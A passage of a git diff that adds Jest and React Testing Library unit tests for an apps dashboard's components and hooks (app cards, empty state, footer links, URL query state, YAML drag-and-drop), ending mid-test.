+        expect(workflowService.fetchWorkflowDraft).toHaveBeenCalled()
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'error', message: 'app.exportFailed' })
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Additional Edge Cases for Coverage
+  // --------------------------------------------------------------------------
+  describe('Additional Coverage', () => {
+    it('should handle onRefresh callback in switch modal success', async () => {
+      const chatApp = createMockApp({ mode: AppModeEnum.CHAT })
+      render(<AppCard app={chatApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.switch'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('switch-modal')).toBeInTheDocument()
+      })
+
+      // Trigger success callback
+      fireEvent.click(screen.getByTestId('confirm-switch-modal'))
+
+      await waitFor(() => {
+        expect(mockOnRefresh).toHaveBeenCalled()
+      })
+    })
+
+    it('should render popover menu with correct styling for different app modes', async () => {
+      // Test completion mode styling
+      const completionApp = createMockApp({ mode: AppModeEnum.COMPLETION })
+      const { unmount } = render(<AppCard app={completionApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        expect(screen.getByText('app.editApp')).toBeInTheDocument()
+      })
+
+      unmount()
+
+      // Test workflow mode styling
+      const workflowApp = createMockApp({ mode: AppModeEnum.WORKFLOW })
+      render(<AppCard app={workflowApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        expect(screen.getByText('app.editApp')).toBeInTheDocument()
+      })
+    })
+
+    it('should stop propagation when clicking tag selector area', () => {
+      const multiTagApp = createMockApp({
+        tags: [{ id: 'tag1', name: 'Tag 1', type: 'app', binding_count: 0 }],
+      })
+
+      render(<AppCard app={multiTagApp} />)
+
+      const tagSelector = screen.getByLabelText('tag-selector')
+      expect(tagSelector).toBeInTheDocument()
+
+      // Click on tag selector wrapper to trigger stopPropagation
+      const tagSelectorWrapper = tagSelector.closest('div')
+      if (tagSelectorWrapper)
+        fireEvent.click(tagSelectorWrapper)
+    })
+
+    it('should handle popover mouse leave', async () => {
+      render(<AppCard app={mockApp} />)
+
+      // Open popover
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        expect(screen.getByTestId('popover-content')).toBeInTheDocument()
+      })
+
+      // Trigger mouse leave on the outer popover-content
+      fireEvent.mouseLeave(screen.getByTestId('popover-content'))
+
+      await waitFor(() => {
+        expect(screen.queryByTestId('popover-content')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should handle operations menu mouse leave', async () => {
+      render(<AppCard app={mockApp} />)
+
+      // Open popover
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        expect(screen.getByText('app.editApp')).toBeInTheDocument()
+      })
+
+      // Find the Operations wrapper div (contains the menu items)
+      const editButton = screen.getByText('app.editApp')
+      const operationsWrapper = editButton.closest('div.relative')
+
+      // Trigger mouse leave on the Operations wrapper to call onMouseLeave
+      if (operationsWrapper)
+        fireEvent.mouseLeave(operationsWrapper)
+    })
+
+    it('should click open in explore button', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        const openInExploreBtn = screen.getByText('app.openInExplore')
+        fireEvent.click(openInExploreBtn)
+      })
+
+      // Verify openAsyncWindow was called with callback and options
+      await waitFor(() => {
+        expect(mockOpenAsyncWindow).toHaveBeenCalledWith(
+          expect.any(Function),
+          expect.objectContaining({ onError: expect.any(Function) }),
+        )
+      })
+    })
+
+    it('should handle open in explore via async window', async () => {
+      // Configure mockOpenAsyncWindow to actually call the callback
+      mockOpenAsyncWindow.mockImplementationOnce(async (callback: () => Promise<string>) => {
+        await callback()
+      })
+
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        const openInExploreBtn = screen.getByText('app.openInExplore')
+        fireEvent.click(openInExploreBtn)
+      })
+
+      const { fetchInstalledAppList } = require('@/service/explore')
+      await waitFor(() => {
+        expect(fetchInstalledAppList).toHaveBeenCalledWith(mockApp.id)
+      })
+    })
+
+    it('should handle open in explore API failure', async () => {
+      const { fetchInstalledAppList } = require('@/service/explore')
+      fetchInstalledAppList.mockRejectedValueOnce(new Error('API Error'))
+
+      // Configure mockOpenAsyncWindow to call the callback and trigger error
+      mockOpenAsyncWindow.mockImplementationOnce(async (callback: () => Promise<string>, options: any) => {
+        try {
+          await callback()
+        }
+        catch (err) {
+          options?.onError?.(err)
+        }
+      })
+
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        const openInExploreBtn = screen.getByText('app.openInExplore')
+        fireEvent.click(openInExploreBtn)
+      })
+
+      await waitFor(() => {
+        expect(fetchInstalledAppList).toHaveBeenCalled()
+      })
+    })
+  })
+
+  describe('Access Control', () => {
+    it('should render operations menu correctly', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        expect(screen.getByText('app.editApp')).toBeInTheDocument()
+        expect(screen.getByText('app.duplicate')).toBeInTheDocument()
+        expect(screen.getByText('app.export')).toBeInTheDocument()
+        expect(screen.getByText('common.operation.delete')).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Open in Explore - No App Found', () => {
+    it('should handle case when installed_apps is empty array', async () => {
+      const { fetchInstalledAppList } = require('@/service/explore')
+      fetchInstalledAppList.mockResolvedValueOnce({ installed_apps: [] })
+
+      // Configure mockOpenAsyncWindow to call the callback and trigger error
+      mockOpenAsyncWindow.mockImplementationOnce(async (callback: () => Promise<string>, options: any) => {
+        try {
+          await callback()
+        }
+        catch (err) {
+          options?.onError?.(err)
+        }
+      })
+
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        const openInExploreBtn = screen.getByText('app.openInExplore')
+        fireEvent.click(openInExploreBtn)
+      })
+
+      await waitFor(() => {
+        expect(fetchInstalledAppList).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle case when API throws in callback', async () => {
+      const { fetchInstalledAppList } = require('@/service/explore')
+      fetchInstalledAppList.mockRejectedValueOnce(new Error('Network error'))
+
+      // Configure mockOpenAsyncWindow to call the callback without catching
+      mockOpenAsyncWindow.mockImplementationOnce(async (callback: () => Promise<string>) => {
+        return await callback()
+      })
+
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        const openInExploreBtn = screen.getByText('app.openInExplore')
+        fireEvent.click(openInExploreBtn)
+      })
+
+      await waitFor(() => {
+        expect(fetchInstalledAppList).toHaveBeenCalled()
+      })
+    })
+  })
+
+  describe('Draft Trigger Apps', () => {
+    it('should not show open in explore option for apps with has_draft_trigger', async () => {
+      const draftTriggerApp = createMockApp({ has_draft_trigger: true })
+      render(<AppCard app={draftTriggerApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        expect(screen.getByText('app.editApp')).toBeInTheDocument()
+        // openInExplore should not be shown for draft trigger apps
+        expect(screen.queryByText('app.openInExplore')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Non-editor User', () => {
+    it('should handle non-editor workspace users', () => {
+      // This tests the isCurrentWorkspaceEditor=true branch (default mock)
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+  })
+
+  describe('WebApp Auth Enabled', () => {
+    beforeEach(() => {
+      mockWebappAuthEnabled = true
+    })
+
+    it('should show access control option when webapp_auth is enabled', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        expect(screen.getByText('app.accessControl')).toBeInTheDocument()
+      })
+    })
+
+    it('should click access control button', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        const accessControlBtn = screen.getByText('app.accessControl')
+        fireEvent.click(accessControlBtn)
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('access-control-modal')).toBeInTheDocument()
+      })
+    })
+
+    it('should close access control modal and call onRefresh', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.accessControl'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('access-control-modal')).toBeInTheDocument()
+      })
+
+      // Confirm access control
+      fireEvent.click(screen.getByTestId('confirm-access-control'))
+
+      await waitFor(() => {
+        expect(mockOnRefresh).toHaveBeenCalled()
+      })
+    })
+
+    it('should show open in explore when userCanAccessApp is true', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        expect(screen.getByText('app.openInExplore')).toBeInTheDocument()
+      })
+    })
+
+    it('should close access control modal when onClose is called', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.accessControl'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('access-control-modal')).toBeInTheDocument()
+      })
+
+      // Click close button to trigger onClose
+      fireEvent.click(screen.getByTestId('close-access-control'))
+
+      await waitFor(() => {
+        expect(screen.queryByTestId('access-control-modal')).not.toBeInTheDocument()
+      })
+    })
+  })
+})
diff --git a/web/app/components/apps/app-card.tsx b/web/app/components/apps/app-card.tsx
index b8da0264e4..8140422c0f 100644
--- a/web/app/components/apps/app-card.tsx
+++ b/web/app/components/apps/app-card.tsx
@@ -5,7 +5,7 @@ import { useContext } from 'use-context-selector'
 import { useRouter } from 'next/navigation'
 import { useTranslation } from 'react-i18next'
 import { RiBuildingLine, RiGlobalLine, RiLockLine, RiMoreFill, RiVerifiedBadgeLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { type App, AppModeEnum } from '@/types/app'
 import Toast, { ToastContext } from '@/app/components/base/toast'
 import { copyApp, deleteApp, exportAppConfig, updateAppInfo } from '@/service/apps'
diff --git a/web/app/components/apps/empty.spec.tsx b/web/app/components/apps/empty.spec.tsx
new file mode 100644
index 0000000000..8e7680958c
--- /dev/null
+++ b/web/app/components/apps/empty.spec.tsx
@@ -0,0 +1,53 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import Empty from './empty'
+
+describe('Empty', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<Empty />)
+      expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
+    })
+
+    it('should render 36 placeholder cards', () => {
+      const { container } = render(<Empty />)
+      const placeholderCards = container.querySelectorAll('.bg-background-default-lighter')
+      expect(placeholderCards).toHaveLength(36)
+    })
+
+    it('should display the no apps found message', () => {
+      render(<Empty />)
+      // Use pattern matching for resilient text assertions
+      expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have correct container styling for overlay', () => {
+      const { container } = render(<Empty />)
+      const overlay = container.querySelector('.pointer-events-none')
+      expect(overlay).toBeInTheDocument()
+      expect(overlay).toHaveClass('absolute', 'inset-0', 'z-20')
+    })
+
+    it('should have correct styling for placeholder cards', () => {
+      const { container } = render(<Empty />)
+      const card = container.querySelector('.bg-background-default-lighter')
+      expect(card).toHaveClass('inline-flex', 'h-[160px]', 'rounded-xl')
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple renders without issues', () => {
+      const { rerender } = render(<Empty />)
+      expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
+
+      rerender(<Empty />)
+      expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/apps/footer.spec.tsx b/web/app/components/apps/footer.spec.tsx
new file mode 100644
index 0000000000..291f15a5eb
--- /dev/null
+++ b/web/app/components/apps/footer.spec.tsx
@@ -0,0 +1,94 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import Footer from './footer'
+
+describe('Footer', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<Footer />)
+      expect(screen.getByRole('contentinfo')).toBeInTheDocument()
+    })
+
+    it('should display the community heading', () => {
+      render(<Footer />)
+      // Use pattern matching for resilient text assertions
+      expect(screen.getByText('app.join')).toBeInTheDocument()
+    })
+
+    it('should display the community intro text', () => {
+      render(<Footer />)
+      expect(screen.getByText('app.communityIntro')).toBeInTheDocument()
+    })
+  })
+
+  describe('Links', () => {
+    it('should render GitHub link with correct href', () => {
+      const { container } = render(<Footer />)
+      const githubLink = container.querySelector('a[href="https://github.com/langgenius/dify"]')
+      expect(githubLink).toBeInTheDocument()
+    })
+
+    it('should render Discord link with correct href', () => {
+      const { container } = render(<Footer />)
+      const discordLink = container.querySelector('a[href="https://discord.gg/FngNHpbcY7"]')
+      expect(discordLink).toBeInTheDocument()
+    })
+
+    it('should render Forum link with correct href', () => {
+      const { container } = render(<Footer />)
+      const forumLink = container.querySelector('a[href="https://forum.dify.ai"]')
+      expect(forumLink).toBeInTheDocument()
+    })
+
+    it('should have 3 community links', () => {
+      render(<Footer />)
+      const links = screen.getAllByRole('link')
+      expect(links).toHaveLength(3)
+    })
+
+    it('should open links in new tab', () => {
+      render(<Footer />)
+      const links = screen.getAllByRole('link')
+      links.forEach((link) => {
+        expect(link).toHaveAttribute('target', '_blank')
+        expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+      })
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have correct footer styling', () => {
+      render(<Footer />)
+      const footer = screen.getByRole('contentinfo')
+      expect(footer).toHaveClass('relative', 'shrink-0', 'grow-0')
+    })
+
+    it('should have gradient text styling on heading', () => {
+      render(<Footer />)
+      const heading = screen.getByText('app.join')
+      expect(heading).toHaveClass('text-gradient')
+    })
+  })
+
+  describe('Icons', () => {
+    it('should render icons within links', () => {
+      const { container } = render(<Footer />)
+      const svgElements = container.querySelectorAll('svg')
+      expect(svgElements.length).toBeGreaterThanOrEqual(3)
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple renders without issues', () => {
+      const { rerender } = render(<Footer />)
+      expect(screen.getByRole('contentinfo')).toBeInTheDocument()
+
+      rerender(<Footer />)
+      expect(screen.getByRole('contentinfo')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/apps/hooks/use-apps-query-state.spec.ts b/web/app/components/apps/hooks/use-apps-query-state.spec.ts
new file mode 100644
index 0000000000..73386e5029
--- /dev/null
+++ b/web/app/components/apps/hooks/use-apps-query-state.spec.ts
@@ -0,0 +1,363 @@
+/**
+ * Test suite for useAppsQueryState hook
+ *
+ * This hook manages app filtering state through URL search parameters, enabling:
+ * - Bookmarkable filter states (users can share URLs with specific filters active)
+ * - Browser history integration (back/forward buttons work with filters)
+ * - Multiple filter types: tagIDs, keywords, isCreatedByMe
+ *
+ * The hook syncs local filter state with URL search parameters, making filter
+ * navigation persistent and shareable across sessions.
+ */
+import { act, renderHook } from '@testing-library/react'
+
+// Mock Next.js navigation hooks
+const mockPush = jest.fn()
+const mockPathname = '/apps'
+let mockSearchParams = new URLSearchParams()
+
+jest.mock('next/navigation', () => ({
+  usePathname: jest.fn(() => mockPathname),
+  useRouter: jest.fn(() => ({
+    push: mockPush,
+  })),
+  useSearchParams: jest.fn(() => mockSearchParams),
+}))
+
+// Import the hook after mocks are set up
+import useAppsQueryState from './use-apps-query-state'
+
+describe('useAppsQueryState', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockSearchParams = new URLSearchParams()
+  })
+
+  describe('Basic functionality', () => {
+    it('should return query object and setQuery function', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query).toBeDefined()
+      expect(typeof result.current.setQuery).toBe('function')
+    })
+
+    it('should initialize with empty query when no search params exist', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.tagIDs).toBeUndefined()
+      expect(result.current.query.keywords).toBeUndefined()
+      expect(result.current.query.isCreatedByMe).toBe(false)
+    })
+  })
+
+  describe('Parsing search params', () => {
+    it('should parse tagIDs from URL', () => {
+      mockSearchParams.set('tagIDs', 'tag1;tag2;tag3')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.tagIDs).toEqual(['tag1', 'tag2', 'tag3'])
+    })
+
+    it('should parse single tagID from URL', () => {
+      mockSearchParams.set('tagIDs', 'single-tag')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.tagIDs).toEqual(['single-tag'])
+    })
+
+    it('should parse keywords from URL', () => {
+      mockSearchParams.set('keywords', 'search term')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.keywords).toBe('search term')
+    })
+
+    it('should parse isCreatedByMe as true from URL', () => {
+      mockSearchParams.set('isCreatedByMe', 'true')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.isCreatedByMe).toBe(true)
+    })
+
+    it('should parse isCreatedByMe as false for other values', () => {
+      mockSearchParams.set('isCreatedByMe', 'false')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.isCreatedByMe).toBe(false)
+    })
+
+    it('should parse all params together', () => {
+      mockSearchParams.set('tagIDs', 'tag1;tag2')
+      mockSearchParams.set('keywords', 'test')
+      mockSearchParams.set('isCreatedByMe', 'true')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.tagIDs).toEqual(['tag1', 'tag2'])
+      expect(result.current.query.keywords).toBe('test')
+      expect(result.current.query.isCreatedByMe).toBe(true)
+    })
+  })
+
+  describe('Updating query state', () => {
+    it('should update keywords via setQuery', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ keywords: 'new search' })
+      })
+
+      expect(result.current.query.keywords).toBe('new search')
+    })
+
+    it('should update tagIDs via setQuery', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ tagIDs: ['tag1', 'tag2'] })
+      })
+
+      expect(result.current.query.tagIDs).toEqual(['tag1', 'tag2'])
+    })
+
+    it('should update isCreatedByMe via setQuery', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ isCreatedByMe: true })
+      })
+
+      expect(result.current.query.isCreatedByMe).toBe(true)
+    })
+
+    it('should support partial updates via callback', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ keywords: 'initial' })
+      })
+
+      act(() => {
+        result.current.setQuery(prev => ({ ...prev, isCreatedByMe: true }))
+      })
+
+      expect(result.current.query.keywords).toBe('initial')
+      expect(result.current.query.isCreatedByMe).toBe(true)
+    })
+  })
+
+  describe('URL synchronization', () => {
+    it('should sync keywords to URL', async () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ keywords: 'search' })
+      })
+
+      // Wait for useEffect to run
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      expect(mockPush).toHaveBeenCalledWith(
+        expect.stringContaining('keywords=search'),
+        { scroll: false },
+      )
+    })
+
+    it('should sync tagIDs to URL with semicolon separator', async () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ tagIDs: ['tag1', 'tag2'] })
+      })
+
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      expect(mockPush).toHaveBeenCalledWith(
+        expect.stringContaining('tagIDs=tag1%3Btag2'),
+        { scroll: false },
+      )
+    })
+
+    it('should sync isCreatedByMe to URL', async () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ isCreatedByMe: true })
+      })
+
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      expect(mockPush).toHaveBeenCalledWith(
+        expect.stringContaining('isCreatedByMe=true'),
+        { scroll: false },
+      )
+    })
+
+    it('should remove keywords from URL when empty', async () => {
+      mockSearchParams.set('keywords', 'existing')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ keywords: '' })
+      })
+
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      // Should be called without keywords param
+      expect(mockPush).toHaveBeenCalled()
+    })
+
+    it('should remove tagIDs from URL when empty array', async () => {
+      mockSearchParams.set('tagIDs', 'tag1;tag2')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ tagIDs: [] })
+      })
+
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      expect(mockPush).toHaveBeenCalled()
+    })
+
+    it('should remove isCreatedByMe from URL when false', async () => {
+      mockSearchParams.set('isCreatedByMe', 'true')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ isCreatedByMe: false })
+      })
+
+      await act(async () => {
+        await new Promise(resolve => setTimeout(resolve, 0))
+      })
+
+      expect(mockPush).toHaveBeenCalled()
+    })
+  })
+
+  describe('Edge cases', () => {
+    it('should handle empty tagIDs string in URL', () => {
+      // NOTE: This test documents current behavior where ''.split(';') returns ['']
+      // This could potentially cause filtering issues as it's treated as a tag with empty name
+      // rather than absence of tags. Consider updating parseParams if this is problematic.
+      mockSearchParams.set('tagIDs', '')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.tagIDs).toEqual([''])
+    })
+
+    it('should handle empty keywords', () => {
+      mockSearchParams.set('keywords', '')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.keywords).toBeUndefined()
+    })
+
+    it('should handle undefined tagIDs', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ tagIDs: undefined })
+      })
+
+      expect(result.current.query.tagIDs).toBeUndefined()
+    })
+
+    it('should handle special characters in keywords', () => {
+      // Use URLSearchParams constructor to properly simulate URL decoding behavior
+      // URLSearchParams.get() decodes URL-encoded characters
+      mockSearchParams = new URLSearchParams('keywords=test%20with%20spaces')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      expect(result.current.query.keywords).toBe('test with spaces')
+    })
+  })
+
+  describe('Memoization', () => {
+    it('should return memoized object reference when query unchanged', () => {
+      const { result, rerender } = renderHook(() => useAppsQueryState())
+
+      const firstResult = result.current
+      rerender()
+      const secondResult = result.current
+
+      expect(firstResult.query).toBe(secondResult.query)
+    })
+
+    it('should return new object reference when query changes', () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      const firstQuery = result.current.query
+
+      act(() => {
+        result.current.setQuery({ keywords: 'changed' })
+      })
+
+      expect(result.current.query).not.toBe(firstQuery)
+    })
+  })
+
+  describe('Integration scenarios', () => {
+    it('should handle sequential updates', async () => {
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({ keywords: 'first' })
+      })
+
+      act(() => {
+        result.current.setQuery(prev => ({ ...prev, tagIDs: ['tag1'] }))
+      })
+
+      act(() => {
+        result.current.setQuery(prev => ({ ...prev, isCreatedByMe: true }))
+      })
+
+      expect(result.current.query.keywords).toBe('first')
+      expect(result.current.query.tagIDs).toEqual(['tag1'])
+      expect(result.current.query.isCreatedByMe).toBe(true)
+    })
+
+    it('should clear all filters', () => {
+      mockSearchParams.set('tagIDs', 'tag1;tag2')
+      mockSearchParams.set('keywords', 'search')
+      mockSearchParams.set('isCreatedByMe', 'true')
+
+      const { result } = renderHook(() => useAppsQueryState())
+
+      act(() => {
+        result.current.setQuery({
+          tagIDs: undefined,
+          keywords: undefined,
+          isCreatedByMe: false,
+        })
+      })
+
+      expect(result.current.query.tagIDs).toBeUndefined()
+      expect(result.current.query.keywords).toBeUndefined()
+      expect(result.current.query.isCreatedByMe).toBe(false)
+    })
+  })
+})
diff --git a/web/app/components/apps/hooks/use-dsl-drag-drop.spec.ts b/web/app/components/apps/hooks/use-dsl-drag-drop.spec.ts
new file mode 100644
index 0000000000..ab04127b19
--- /dev/null
+++ b/web/app/components/apps/hooks/use-dsl-drag-drop.spec.ts
@@ -0,0 +1,493 @@
+/**
+ * Test suite for useDSLDragDrop hook
+ *
+ * This hook provides drag-and-drop functionality for DSL files, enabling:
+ * - File drag detection with visual feedback (dragging state)
+ * - YAML/YML file filtering (only accepts .yaml and .yml files)
+ * - Enable/disable toggle for conditional drag-and-drop
+ * - Cleanup on unmount (removes event listeners)
+ */
+import { act, renderHook } from '@testing-library/react'
+import { useDSLDragDrop } from './use-dsl-drag-drop'
+
+describe('useDSLDragDrop', () => {
+  let container: HTMLDivElement
+  let mockOnDSLFileDropped: jest.Mock
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    container = document.createElement('div')
+    document.body.appendChild(container)
+    mockOnDSLFileDropped = jest.fn()
+  })
+
+  afterEach(() => {
+    document.body.removeChild(container)
+  })
+
+  // Helper to create drag events
+  const createDragEvent = (type: string, files: File[] = []) => {
+    const dataTransfer = {
+      types: files.length > 0 ? ['Files'] : [],
+      files,
+    }
+
+    const event = new Event(type, { bubbles: true, cancelable: true }) as DragEvent
+    Object.defineProperty(event, 'dataTransfer', {
+      value: dataTransfer,
+      writable: false,
+    })
+    Object.defineProperty(event, 'preventDefault', {
+      value: jest.fn(),
+      writable: false,
+    })
+    Object.defineProperty(event, 'stopPropagation', {
+      value: jest.fn(),
+      writable: false,
+    })
+
+    return event
+  }
+
+  // Helper to create a mock file
+  const createMockFile = (name: string) => {
+    return new File(['content'], name, { type: 'application/x-yaml' })
+  }
+
+  describe('Basic functionality', () => {
+    it('should return dragging state', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should initialize with dragging as false', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      expect(result.current.dragging).toBe(false)
+    })
+  })
+
+  describe('Drag events', () => {
+    it('should set dragging to true on dragenter with files', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const file = createMockFile('test.yaml')
+      const event = createDragEvent('dragenter', [file])
+
+      act(() => {
+        container.dispatchEvent(event)
+      })
+
+      expect(result.current.dragging).toBe(true)
+    })
+
+    it('should not set dragging on dragenter without files', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const event = createDragEvent('dragenter', [])
+
+      act(() => {
+        container.dispatchEvent(event)
+      })
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should handle dragover event', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const event = createDragEvent('dragover')
+
+      act(() => {
+        container.dispatchEvent(event)
+      })
+
+      expect(event.preventDefault).toHaveBeenCalled()
+      expect(event.stopPropagation).toHaveBeenCalled()
+    })
+
+    it('should set dragging to false on dragleave when leaving container', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      // First, enter with files
+      const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+      expect(result.current.dragging).toBe(true)
+
+      // Then leave with null relatedTarget (leaving container)
+      const leaveEvent = createDragEvent('dragleave')
+      Object.defineProperty(leaveEvent, 'relatedTarget', {
+        value: null,
+        writable: false,
+      })
+
+      act(() => {
+        container.dispatchEvent(leaveEvent)
+      })
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should not set dragging to false on dragleave when within container', () => {
+      const containerRef = { current: container }
+      const childElement = document.createElement('div')
+      container.appendChild(childElement)
+
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      // First, enter with files
+      const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+      expect(result.current.dragging).toBe(true)
+
+      // Then leave but to a child element
+      const leaveEvent = createDragEvent('dragleave')
+      Object.defineProperty(leaveEvent, 'relatedTarget', {
+        value: childElement,
+        writable: false,
+      })
+
+      act(() => {
+        container.dispatchEvent(leaveEvent)
+      })
+
+      expect(result.current.dragging).toBe(true)
+
+      container.removeChild(childElement)
+    })
+  })
+
+  describe('Drop functionality', () => {
+    it('should call onDSLFileDropped for .yaml file', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const file = createMockFile('test.yaml')
